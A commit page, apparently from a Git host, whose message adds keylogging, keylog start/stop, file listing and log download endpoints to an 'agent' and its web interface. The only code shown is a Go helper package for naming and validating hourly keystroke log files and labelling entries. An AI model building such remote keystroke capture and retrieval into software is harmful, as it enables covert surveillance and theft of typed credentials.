Add keylogging functionality to the agent. Implement keylog start/stop, file listing, and download API endpoints. Update web interface to display keystroke logs and allow file downloads.

This commit is contained in:
2026-08-28 12:44:09 +03:00
parent 16d7aa75b3
commit d48c2044bc
13 changed files with 988 additions and 11 deletions
+44
View File
@@ -0,0 +1,44 @@
package keylog
import (
"fmt"
"path/filepath"
"regexp"
"strings"
"time"
)
const hourBucketLayout = "2006-01-02-15"
var logFilenamePattern = regexp.MustCompile(`^\d{4}-\d{2}-\d{2}-\d{2}\.log$`)
func HourBucket(t time.Time) string {
return t.Local().Format(hourBucketLayout)
}
func LogFilename(bucket string) string {
return bucket + ".log"
}
func ValidLogFilename(name string) bool {
return logFilenamePattern.MatchString(filepath.Base(name))
}
func normalizeWindow(window string) string {
window = strings.TrimSpace(window)
if window == "" {
return "?"
}
return window
}
func eventSource(injected bool) string {
if injected {
return "injected"
}
return "user"
}
func sectionHeader(source, window string) string {
return fmt.Sprintf("[%s · %s]\n", source, normalizeWindow(window))
}